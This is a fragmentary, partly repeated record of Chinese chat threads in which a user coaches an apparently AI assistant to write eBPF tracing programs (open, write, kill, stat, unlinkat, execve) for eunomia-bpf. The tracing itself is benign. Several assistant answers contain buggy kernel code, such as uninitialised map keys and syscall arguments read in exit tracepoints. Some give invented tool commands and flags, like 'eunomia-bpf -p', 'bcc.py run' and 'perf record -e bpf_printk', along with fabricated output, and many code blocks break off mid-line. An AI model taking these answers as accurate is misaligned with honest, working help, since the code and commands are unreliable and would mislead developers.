-``` - -然后运行: - -```console -sudo ecli run package.json -``` - -在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的 kprobe 演示输出: - -```shell -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 - rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 - rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 - rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0 -``` - -> 这段程序使用 eBPF 实现了一个 kprobe,用来监控内核中 do_unlinkat() 函数的调用。kprobe 的目的是实时监控内核函数的调用情况,通过记录调用时的参数和返回值,来提供实时状态的反馈。在这个例子中,kprobe 记录了进入 do_unlinkat() 函数时的 PID 和文件名,并在函数返回时记录了返回值。 -> -> eBPF 程序使用 ecc 工具编译成二进制文件,然后通过 ecli 工具运行。运行时,ecli 会将 eBPF 程序附加到内核上,并通过 /sys/kernel/debug/tracing/trace_pipe 文件来输出 kprobe 的日志信息。 -> -> 这个程序的作用是实时监控内核中 do_unlinkat() 函数的调用情况,并记录相关信息。通过这种方式,我们可以对内核的行为进行实时监控,并及时发现可能的异常情况。 - -请帮我编写一个eBPF 程序,通过定义两个函数 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat 并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint(即在进入 open 和 openat 系统调用时执行)。这两个函数通过使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID,并使用 bpf_printk 函数在内核日志中打印出来。 - -> 编写 eBPF 程序可以实现上述目标,具体代码如下: - -```c -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("tracepoint/syscalls/sys_enter_open") -int BPF_TRACEPOINT(sys_enter_open) -{ - pid_t pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("sys_enter_open: pid = %d\n", pid); - return 0; -} - -SEC("tracepoint/syscalls/sys_enter_openat") -int BPF_TRACEPOINT(sys_enter_openat) -{ - pid_t pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("sys_enter_openat: pid = %d\n", pid); - return 0; -} -``` - -> 这段程序定义了两个函数 tracepoint__syscalls__sys_enter_open 和 tracepoint__syscalls__sys_enter_openat,并使用 SEC 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 上。这两个函数分别在进入 open 和 openat 系统调用时执行,并使用 bpf_get_current_pid_tgid 函数获取调用 open 或 openat 系统调用的进程 ID,并使用 bpf_printk 函数在内核日志中打印出来。 -> 这段程序的作用是实时监控内核中 open 和 openat 系统调用的情况,并记录调用这两个系统调用的进程 ID。通过这种方式,我们可以实时监控进程对文件系统的访问情况,并及时发现可能的异常情况。 -> 要编译这段程序,请使用 ecc 工具: -> -> ```console -> $ ecc open -> ``` - -很好。 - -```c -/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ -#define BPF_NO_GLOBAL_DATA -#include -#include -#include - -typedef unsigned int u32; -typedef int pid_t; -const pid_t pid_filter = 0; - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("tp/syscalls/sys_enter_write") -int handle_tp(void *ctx) -{ - pid_t pid = bpf_get_current_pid_tgid() >> 32; - if (pid_filter && pid != pid_filter) - return 0; - bpf_printk("BPF triggered from PID %d.\n", pid); - return 0; -} -``` - -这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint(即在进入 write 系统调用时执行)。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID,并在内核日志中打印出来。请告诉我它的输出结果。 - -> 这段程序的作用是实时监控内核中 write 系统调用的情况,并记录调用 write 系统调用的进程 ID。当进程调用 write 系统调用时,该函数会执行,并使用 bpf_printk 函数在内核日志中打印出调用 write 系统调用的进程 ID。具体的输出结果应该类似于: -> -> BPF triggered from PID 123. -> 这段程序会在内核日志中打印出调用 write 系统调用的进程 ID,例如 "BPF triggered from PID 123"。这里的 PID 指的是调用 write 系统调用的进程 ID。 -> -> 需要注意的是,如果 pid_filter 变量不为 0,那么只有当调用 write 系统调用的进程 ID 等于 pid_filter 时,才会执行 bpf_printk 函数,其他情况都不会打印内核日志。因此,如果要输出所有调用 write 系统调用的进程 ID,需要确保 pid_filter 变量的值为 0。 - -是的。 -要编译和运行这段程序,可以使用 ecc 工具和 ecli 命令。首先使用 ecc 编译程序: - -```console -$ ecc hello.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -或使用 docker 镜像进行编译: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -然后使用 ecli 运行编译后的程序: - -```console -$ sudo ecli run ./package.json -Runing eBPF program... -``` - -运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. -``` - -请告诉我如何编译运行实时监控内核中 open 和 openat 系统调用的 eBPF 程序。 - -> 要编译和运行实时监控内核中 open 和 openat 系统调用的 eBPF 程序,可以按照下面的步骤进行: -> -> 将程序保存到文件中,例如叫做 "open.bpf.c"。 - -```c -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("tracepoint/syscalls/sys_enter_open") -int BPF_TRACEPOINT(sys_enter_open) -{ - pid_t pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("sys_enter_open: pid = %d\n", pid); - return 0; -} - -SEC("tracepoint/syscalls/sys_enter_openat") -int BPF_TRACEPOINT(sys_enter_openat) -{ - pid_t pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("sys_enter_openat: pid = %d\n", pid); - return 0; -} -``` - -> 使用 ecc 工具编译程序: - -```console -$ ecc open.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -> 使用 ecli 命令运行编译后的程序: - -```console -$ sudo ecli run ./package.json -Runing eBPF program... -``` - -> 查看 /sys/kernel/debug - -请继续。查看 /sys/kernel/debug - -> 运行 eBPF 程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。例如,如果有进程在调用 open 或 openat 系统调用,那么可以看到类似下面的输出: - -```c -$ sudo cat /sys/kernel/debug/tracing/trace_pipe -sys_enter_open: pid = 123 -sys_enter_openat: pid = 456 -``` - -> 这些输出表明,在运行 eBPF 程序的过程中,有两个进程(PID 为 123 和 456)分别调用了 open 和 openat 系统调用。对于每个系统调用,eBPF 程序都会记录调用进程的 ID,并在内核日志中输出。 -> 需要注意的是,如果内核中有多个进程同时调用 open 或 openat 系统调用,那么输出结果可能会有所不同。例如,可能会有多个进程的 ID 同时出现在内核日志中。这取决于系统的具体情况。 - -```c -#include -#include -#include "sigsnoop.h" - -#define MAX_ENTRIES 10240 - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, __u32); - __type(value, struct event); -} values SEC(".maps"); - - -static int probe_entry(pid_t tpid, int sig) -{ - struct event event = {}; - __u64 pid_tgid; - __u32 pid, tid; - - pid_tgid = bpf_get_current_pid_tgid(); - pid = pid_tgid >> 32; - event.pid = pid; - event.tpid = tpid; - event.sig = sig; - bpf_get_current_comm(event.comm, sizeof(event.comm)); - bpf_map_update_elem(&values, &tid, &event, BPF_ANY); - return 0; -} - -static int probe_exit(void *ctx, int ret) -{ - __u64 pid_tgid = bpf_get_current_pid_tgid(); - __u32 tid = (__u32)pid_tgid; - struct event *eventp; - - eventp = bpf_map_lookup_elem(&values, &tid); - if (!eventp) - return 0; - - eventp->ret = ret; - bpf_printk("PID %d (%s) sent signal %d to PID %d, ret = %d", - eventp->pid, eventp->comm, eventp->sig, eventp->tpid, eventp->ret); - -cleanup: - bpf_map_delete_elem(&values, &tid); - return 0; -} - -SEC("tracepoint/syscalls/sys_enter_kill") -int kill_entry(struct trace_event_raw_sys_enter *ctx) -{ - pid_t tpid = (pid_t)ctx->args[0]; - int sig = (int)ctx->args[1]; - - return probe_entry(tpid, sig); -} - -SEC("tracepoint/syscalls/sys_exit_kill") -int kill_exit(struct trace_event_raw_sys_exit *ctx) -{ - return probe_exit(ctx, ctx->ret); -} - -SEC("tracepoint/syscalls/sys_enter_tkill") -int tkill_entry(struct trace_event_raw_sys_enter *ctx) -{ - pid_t tpid = (pid_t)ctx->args[0]; - int sig = (int)ctx->args[1]; - - return probe_entry(tpid, sig); -} - -SEC("tracepoint/syscalls/sys_exit_tkill") -int tkill_exit(struct trace_event_raw_sys_exit *ctx) -{ - return probe_exit(ctx, ctx->ret); -} - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; -``` - -上面的代码定义了一个 eBPF 程序,用于捕获进程发送信号的系统调用,包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件,并在这些事件发生时执行指定的探针函数,例如 probe_entry 和 probe_exit。 - -> 在探针函数中,我们使用 bpf_map 存储捕获的事件信息,包括发送信号的进程 ID、接收信号的进程 ID、信号值和系统调用的返回值。在系统调用退出时,我们将获取存储在 bpf_map 中的事件信息,并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 -> -> 要编译这段 eBPF 程序,需要使用 LLVM Clang 工具链,并确保安装了 eBPF 相关的头文件,例如 vmlinux.h 和 bpf_helpers.h。 -> -> 首先,按照以下命令编译 eBPF 程序: -> -> $ clang -O2 -Wall -target bpf -c sigsnoop.c -o sigsnoop.o -> -> 编译完成后,可以使用 bpftool 工具将 eBPF 字节码文件加载到内核中: -> -> $ sudo bpftool prog load sigsnoop.o /sys/fs/bpf/sigsnoop -> 最后,查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: PID 3840345 (bash) sent signal 15 to PID 3840345, ret = 0 - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: PID 3840345 (bash) sent signal 17 to PID 3840345, ret = 0 -``` - -> 输出结果显示了进程发送信号的细节,包括发送信号的进程 ID、发送信号的进程名、信号值以及接收到信号的进程 ID。 - -请告诉我如何编写一段 eBPF 程序,追踪 stat 相关的系统调用。 - -> 下面是一个示例 eBPF 程序,用于跟踪执行 stat 相关系统调用(例如 stat、fstat、lstat)的进程信息和文件路径。 - -```c -#include -#include -#include "sigsnoop.h" - -#define MAX_ENTRIES 10240 - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, __u32); - __type(value, struct event); -} values SEC(".maps"); - - -static int probe_stat_entry(void *ctx) -{ - struct event event = {}; - __u64 pid_tgid; - __u32 pid, tid; - - pid_tgid = bpf_get_current_pid_tgid(); - pid = pid_tgid >> 32; - event.pid = pid; - bpf_get_current_comm(event.comm, sizeof(event.comm)); - bpf_map_update_elem(&values, &tid, &event, BPF_ANY); - return 0; -} - -static int probe_stat_exit(void *ctx, int ret) -{ - __u64 pid_tgid = bpf_get_current_pid_tgid(); - __u32 tid = (__u32)pid_tgid; - struct event *eventp; - - eventp = bpf_map_lookup_elem(&values, &tid); - if (!eventp) - return 0; - - eventp->ret = ret; - if (ret == 0) - bpf_probe_read_str(eventp->path, sizeof(eventp->path), (void *)ctx->args[0]); - - bpf_printk("PID %d (%s) executed stat syscall, file path = %s, ret = %d", - eventp->pid, eventp->comm, eventp->path, eventp->ret); - -cleanup: - bpf_map_delete_elem(&values, &tid); - return 0; -} - -SEC("kprobe/sys_stat") -int sys_stat_entry(struct pt_regs *ctx) -{ - return probe_stat_entry(ctx); -} - -SEC("kretprobe/sys_stat") -int sys_stat_exit(struct pt_regs *ctx) -{ - return probe_stat_exit(ctx, PT_REGS_RC(ctx)); -} - -SEC("kprobe/sys_fstat") -int sys -``` - -我如何使用 eunomia-bpf 编译运行它? - -> 下面是一个简单的 eBPF 程序,用于跟踪 stat 相关的系统调用。它通过定义两个函数:tracepoint__syscalls__sys_enter_stat 和 tracepoint__syscalls__sys_exit_stat,并使用 SEC 宏把它们附加到 stat 系统调用的进入和退出事件上,来捕获 stat 系统调用。 - -```c -#include -#include - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 1024); - __type(key, int); - __type(value, struct event); -} events SEC(".maps"); - -SEC("tracepoint/syscalls/sys_enter_stat") -int sys_enter_stat(struct trace_event_raw_sys_enter *ctx) -{ - struct event event = {}; - __u64 pid_tgid; - __u32 pid; - int fd = (int)ctx->args[0]; - - pid_tgid = bpf_get_current_pid_tgid(); - pid = pid_tgid >> 32; - event.pid = pid; - bpf_get_current_comm(event.comm, sizeof(event.comm)); - bpf_map_update_elem(&events, &fd, &event, BPF_ANY); - - return 0; -} - -SEC("tracepoint/syscalls/sys_exit_stat") -int sys_exit_stat(struct trace_event_raw_sys_exit *ctx) -{ - struct event *eventp; - __u64 pid_tgid = bpf_get_current_pid_tgid(); - __u32 tid = (__u32)pid_tgid; - int fd = (int)ctx->args[0]; - - eventp = bpf_map_lookup_elem(&events, &fd); - if (!eventp) - return 0; - - eventp->ret = ctx->ret; - bpf_printk("PID %d (%s) called stat on fd %d, ret = %d\n", - eventp->pid, eventp->comm, fd, eventp->ret); - - bpf_map_delete_elem(& - -``` - -请继续。 - -> 编译运行 eBPF 程序的方法与之前给出的方法类似,首先使用 ecc 编译程序: - -```console -$ ecc stat.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -> 或使用 docker 镜像进行编译: - -```sh -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -> 然后使用 ecli 运行编译后的程序: - -```sh -$ sudo ecli run ./package.json -Runing eBPF program... -``` - -> 运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: stat system call from PID 3840345. - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: stat system call from PID 3840345. -``` - -> 也可以使用其他工具,如 perf 或 bpftrace,来查看 eBPF 程序的输出。例如,使用 perf 命令查看 eBPF 程序的输出: - -``` -$ perf record -e bpf_printk -a -Running 'record' for 'bpf_printk' (5 secs): - -[ perf record: Woken up 1 times to write data ] -[ perf record: Captured and wrote 0.178 MB perf.data (~1623 samples) ] -``` - -> 使用 perf script 命令来查看 perf.data 中的输出: - -``` -$ perf script - bash-37048 [002] .... 1617.738101: bpf_trace_printk: stat system call from PID 370 -``` - -编写一个 eBPF 程序,追踪进程执行。通过 perf event array 向用户态打印输出。 - -> 下面是一个简单的 eBPF 程序,它定义了一个 kprobe 探针函数,用于捕获内核函数 do_syscall_64 的进入事件,并记录调用该函数的进程的 PID、函数名和返回值。 - -```c -#include "vmlinux.h" -#include -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("kprobe/do_syscall_64") -int BPF_KPROBE(do_syscall_64, struct pt_regs *regs, long id) -{ - pid_t pid; - const char *func; - - pid = bpf_get_current_pid_tgid() >> 32; - func = __func__; - bpf_printk("KPROBE ENTRY pid = %d, func = %s, id = %d\n", pid, func, id); - return 0; -} - -SEC("kretprobe/do_syscall_64") -int BPF_KRETPROBE(do_syscall_64_exit, long ret) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); - return 0; -} -``` - -> 要编译这段代码,可以使用 ecc 工具: - -``` -$ ecc kprobe-syscall.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -> 然后可以使用 ecli 运行编译后的程序: - -这是一个 execsnoop 的例子 - -通过 perf event array 向用户态命令行打印输出,需要编写一个头文件,一个 C 源文件。示例代码如下: - -头文件:execsnoop.h - -```c -#ifndef __EXECSNOOP_H -#define __EXECSNOOP_H - -#define TASK_COMM_LEN 16 - -struct event { - int pid; - int ppid; - int uid; - int retval; - bool is_exit; - char comm[TASK_COMM_LEN]; -}; - -#endif /* __EXECSNOOP_H */ -``` - -源文件:execsnoop.bpf.c - -```c -// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) -#include -#include -#include -#include "execsnoop.bpf.h" - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); - -SEC("tracepoint/syscalls/sys_enter_execve") -int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx) -{ - u64 id; - pid_t pid, tgid; - unsigned int ret; - struct event event; - struct task_struct *task; - const char **args = (const char **)(ctx->args[1]); - const char *argp; - - uid_t uid = (u32)bpf_get_current_uid_gid(); - int i; - id = bpf_get_current_pid_tgid(); - pid = (pid_t)id; - tgid = id >> 32; - - event.pid = tgid; - event.uid = uid; - task = (struct task_struct*)bpf_get_current_task(); - bpf_probe_read_str(&event.comm, sizeof(event.comm), task->comm); - event.is_exit = false; - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); - return 0; -} - -SEC("tracepoint/syscalls/sys_exit_execve") -int tracepoint__syscalls__sys_exit_execve(struct trace_event_raw_sys_exit* ctx) -{ - u64 id; - pid_t pid; - int ret; - struct event event; - - u32 uid = (u32)bpf_get_current_uid_gid(); - - id = bpf_get_current_pid_tgid(); - pid = (pid_t)id; - - ret = ctx->ret; - event.retval = ret; - event.pid = pid; - event.uid = uid; - event.is_exit = true; - bpf_get_current_comm(&event.comm, sizeof(event.comm)); - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); - return 0; -} - -char LICENSE[] SEC("license") = "GPL"; - -``` - -> 这段代码定义了两个 eBPF 程序,一个用于捕获进程执行 execve 系统调用的入口,另一个用于捕获进程执行 execve 系统调用的出口。 -> 在入口程序中,我们首先获取了当前进程的进程 ID 和用户 ID,然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体,并通过 bpf_probe_read_str 函数读取了进程名称。最后,我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 -> -> 在出口程序中,我们首先获取了进程的进程 ID 和用户 ID,然后通过 bpf_get_current_comm 函数获取了进程的名称,最后通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 -> -> 使用这段代码,我们就可以捕获 Linux 内核中进程执行的事件。我们可以通过工具(例如 eunomia-bpf)来查看这些事件,并分析进程的执行情况。 -> -> 接着,使用如下命令编译这个 eBPF 程序: -> -> clang -O2 -emit-llvm -c -g execsnoop.bpf.c -> -> llc -march=bpf -filetype=obj -o execsnoop.o execsnoop.bpf.ll -> -> 编译后的文件 execsnoop.o 就可以使用 eunomia-bpf 工具来运行了。例如,可以使用如下命令运行这个程序: -> -> eunomia-bpf -o execsnoop.o -> -> 执行这个命令后,程序将在内核中运行,并在追踪到进程执行 execve 系统调用时向用户态命令行打印输出。 -> -> 可以通过使用 -p 参数指定进程 ID,来只监控指定的进程。例如: -> -> eunomia-bpf -p 1234 -o execsnoop.o -> -> 这样就只会监控进程 ID 为 1234 的进程的执行。 -> -> 还可以通过使用 -C 参数来指定要监控的系统调用,例如: -> -> eunomia-bpf -C execve -o execsnoop.o -> -> 这样就只会监 - -please give me an eBPF program Trace all stat syscall variants with perf event output. - -> 首先,需要定义一个包含所需信息的结构体: - -```c -struct stat_event { - u64 id; - pid_t pid; - uid_t uid; - char comm[TASK_COMM_LEN]; - char pathname[PATH_MAX]; -}; -``` - -> 然后,可以定义一个 perf event array 用于向用户态传递输出: - -```c -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); -``` - -> 接下来,可以编写捕获 stat 系统调用的 eBPF 程序: - -```c -SEC("tracepoint/syscalls/sys_enter_stat") -int tracepoint__syscalls__sys_enter_stat(struct trace_event_raw_sys_enter *ctx) -{ - // 获取进程 ID 和 UID - u64 id = bpf_get_current_pid_tgid(); - pid_t pid = (pid_t)id; - uid_t uid = (u32)bpf_get_current_uid_gid(); - - // 获取文件名 - char pathname[PATH_MAX]; - bpf_probe_read_str(pathname, sizeof(pathname), (void *)ctx->args[0]); - - // 获取进程名 - struct task_struct *task; - struct stat_event event = {}; - task = (struct task_struct *)bpf_get_current_task(); - bpf_probe -``` - -请继续。 - -> 这段 eBPF 程序的完整代码如下所示: - -```c -#include -#include -#include - -#define MAX_ENTRIES 10240 - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); - -SEC("tracepoint/syscalls/sys_enter_stat") -int tracepoint__syscalls__sys_enter_stat(struct trace_event_raw_sys_enter* ctx) -{ - u64 id = bpf_get_current_pid_tgid(); - u32 pid = (u32)id; - u32 tgid = id >> 32; - const char *filename = (const char*)(ctx->args[0]); - struct stat *stat = (struct stat*)(ctx->args[1]); - int ret = ctx->ret; - - bpf_probe_read_str(&filename, sizeof(filename), filename); - bpf_probe_read(&stat, sizeof(stat), stat); - - struct data_t { - u32 pid; - u32 tgid; - int ret; - char filename[256]; - } data = { - .pid = pid, - .tgid = tgid, - .ret = ret, - }; - - bpf_probe_read_str(&data.filename, sizeof(data.filename), filename); - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &data, sizeof(data)); - return 0; -} - -char LICENSE[] SEC("license") = "GPL"; -``` - -> 通过这段代码 - -请继续,通过这段代码 - -> 您可以使用以下代码来跟踪 stat 相关的系统调用: - -```c -#include -#include -#include - -struct { - __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); - __uint(key_size, sizeof(u32)); - __uint(value_size, sizeof(u32)); -} events SEC(".maps"); - -SEC("tracepoint/syscalls/sys_enter_fstat") -int tracepoint__syscalls__sys_enter_fstat(struct trace_event_raw_sys_enter* ctx) -{ - struct stat *st = (struct stat *)(ctx->args[1]); - struct event { - int pid; - int fd; - char comm[TASK_COMM_LEN]; - bool is_exit; - int retval; - } event = {}; - - event.fd = (int)(ctx->args[0]); - event.pid = (int)(bpf_get_current_pid_tgid() >> 32); - bpf_get_current_comm(&event.comm, sizeof(event.comm)); - event.is_exit = false; - bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); - - return 0; -} - -SEC("tracepoint/syscalls/sys_exit_fstat") -int tracepoint__syscalls__sys_exit_fstat(struct trace_event_raw_sys_exit* ctx) -{ - struct event { - int pid; - int fd; - char comm - -``` - -## thread 2 - -我希望你帮助我编写一些 eBPF 程序,描述一下这个 eBPF 程序的作用。我们会使用 eunomia-bpf 这个工具来编写 eBPF 程序。eBPF 程序主要由两部分构成:内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑,用户态部分负责加载、运行和监控内核态程序。使用 eunomia-bpf,只需编写内核态代码即可,无需编写用户态代码。如果你理解了这些,请说好的。 - -> 确实,eBPF 程序由内核态部分和用户态部分构成。eBPF 程序在内核态运行,用户态程序负责加载、运行和监控内核态程序。eunomia-bpf 是一个用于编写和管理 eBPF 程序的工具,它只需要编写内核态代码,无需编写用户态代码。我可以帮助你编写 eBPF 程序,只要你能够告诉我你想要它做什么。 -> - -这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint(即在进入 write 系统调用时执行)。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID,并在内核日志中打印出来。 -请编写一下这个 eBPF 程序,它有一个 hello.bpf.c 文件。 - -> 可以使用如下代码编写 eBPF 程序: - -```c -#include -#include - -SEC("tp/syscalls/sys_enter_write") -int handle_tp(void *ctx) -{ - u32 pid = bpf_get_current_pid_tgid(); - bpf_printk("PID of process calling write: %d\n", pid); - return 0; -} - -char _license[] SEC("license") = "GPL"; -``` - -> 这个 eBPF 程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint。在进入 write 系统调用时,handle_tp 函数会被执行。该函数会使用 bpf_get_current_pid_tgid 函数获取调用 write 系统调用的进程 ID,然后使用 bpf_printk 函数在内核日志中打印出来。 -> -> eBPF 程序的输出结果将是内核日志中打印的调用 write 系统调用的进程的 PID。例如,如果进程 42 调用了 write 系统调用,则输出结果将是: - -``` -PID of process calling write: 42 -``` - -> 需要注意的是,在使用此 eBPF 程序之前,需要编译它并将其加载到内核中。此外,由于 eBPF 程序在内核态运行,因此它可能需要特殊权限才能加载和使用。 - -```c -/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ -#define BPF_NO_GLOBAL_DATA -#include -#include -#include - -typedef unsigned int u32; -typedef int pid_t; -const pid_t pid_filter = 0; - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("tp/syscalls/sys_enter_write") -int handle_tp(void *ctx) -{ - pid_t pid = bpf_get_current_pid_tgid() >> 32; - if (pid_filter && pid != pid_filter) - return 0; - bpf_printk("BPF triggered from PID %d.\n", pid); - return 0; -} -``` - -不。代码应该是这样的。 - -> 您的代码看起来正确。它定义了一个 handle_tp 函数,并使用 SEC 宏把它附加到 sys_enter_write tracepoint。在进入 write 系统调用时,handle_tp 函数会被执行。该函数会使用 bpf_get_current_pid_tgid 函数获取调用 write 系统调用的进程 ID,然后使用 bpf_printk 函数在内核日志中打印出来。如果需要,还可以使用 pid_filter 变量来过滤进程。如果您需要进一步改进您的 eBPF 程序,请告诉我您的需求,我可以帮助您实现它。 - -要编译和运行这段程序,可以使用 ecc 工具和 ecli 命令。首先使用 ecc 编译程序: - -```console -$ ecc hello.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -或使用 docker 镜像进行编译: - -```shell -docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest -``` - -然后使用 ecli 运行编译后的程序: - -```console -$ sudo ecli run ./package.json -Runing eBPF program... -``` - -运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出: - -```console -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. - <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. -``` - -> 您的描述是正确的。eBPF 程序需要编译才能运行。可以使用 ecc 工具来编译 eBPF 程序,也可以使用 docker 镜像进行编译。运行 eBPF 程序的方法有多种,可以使用 ecli 命令运行编译后的程序,也可以使用其他工具。输出结果将在内核日志中打印,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看。 -> -> 请注意,使用 ecc 编译程序后,会生成一个 package.json 文件,其中包含编译后的 eBPF 程序和配置信息。运行 eBPF 程序时,需要指定该文件,以便 ecli 命令能够找到并运行 eBPF 程序。例如,可以使用以下命令运行 eBPF 程序: - -``` -sudo ecli run ./package.json -``` - -> 如果您还有任何问题,请随时告诉我,我很乐意帮助您解决问题。 - -```c -#include "vmlinux.h" -#include -#include -#include - -char LICENSE[] SEC("license") = "Dual BSD/GPL"; - -SEC("kprobe/do_unlinkat") -int BPF_KPROBE(do_unlinkat, int dfd, struct filename *name) -{ - pid_t pid; - const char *filename; - - pid = bpf_get_current_pid_tgid() >> 32; - filename = BPF_CORE_READ(name, name); - bpf_printk("KPROBE ENTRY pid = %d, filename = %s\n", pid, filename); - return 0; -} - -SEC("kretprobe/do_unlinkat") -int BPF_KRETPROBE(do_unlinkat_exit, long ret) -{ - pid_t pid; - - pid = bpf_get_current_pid_tgid() >> 32; - bpf_printk("KPROBE EXIT: pid = %d, ret = %ld\n", pid, ret); - return 0; -} -``` - -kprobe 是 eBPF 用于处理内核空间入口和出口(返回)探针(kprobe 和 kretprobe)的一个例子。它将 kprobe 和 kretprobe BPF 程序附加到 do_unlinkat() 函数上,并使用 bpf_printk() 宏分别记录 PID、文件名和返回值。请告诉我如何编译运行这段程序。 - -> 您的 eBPF 程序使用 kprobe 和 kretprobe 宏附加到 do_unlinkat 函数上。kprobe 宏将 BPF 程序附加到 do_unlinkat 函数的入口,kretprobe 宏将 BPF 程序附加到 do_unlinkat 函数的出口(返回)处。这样,您就可以在 do_unlinkat 函数的入口和出口(返回)处捕获数据,并使用 bpf_printk 宏在内核日志中打印数据。 -> -> 要编译和运行您的 eBPF 程序,您需要安装 bcc 工具集。然后,在终端中输入以下命令: -> -``` -# 编译 eBPF 程序 -clang -O2 -target bpf -c my_bpf_prog.c -o my_bpf_prog.o - -# 运行 eBPF 程序 -sudo ./bcc.py run my_bpf_prog.o -``` - -> 这样,就会编译并运行您的 eBPF 程序。在运行 eBPF 程序时,会在内核日志中打 - -不对,使用 eunomia-bpf 工具编译。要编译这个程序,请使用 ecc 工具: - -```console -$ ecc kprobe-link.bpf.c -Compiling bpf object... -Packing ebpf object and config into package.json... -``` - -然后运行: - -```console -sudo ecli run package.json -``` - -在 /sys/kernel/debug/tracing/trace_pipe 文件中,应该能看到类似下面的 kprobe 演示输出: - -```shell -$ sudo cat /sys/kernel/debug/tracing/trace_pipe - rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 - rm-9346 [005] d..4 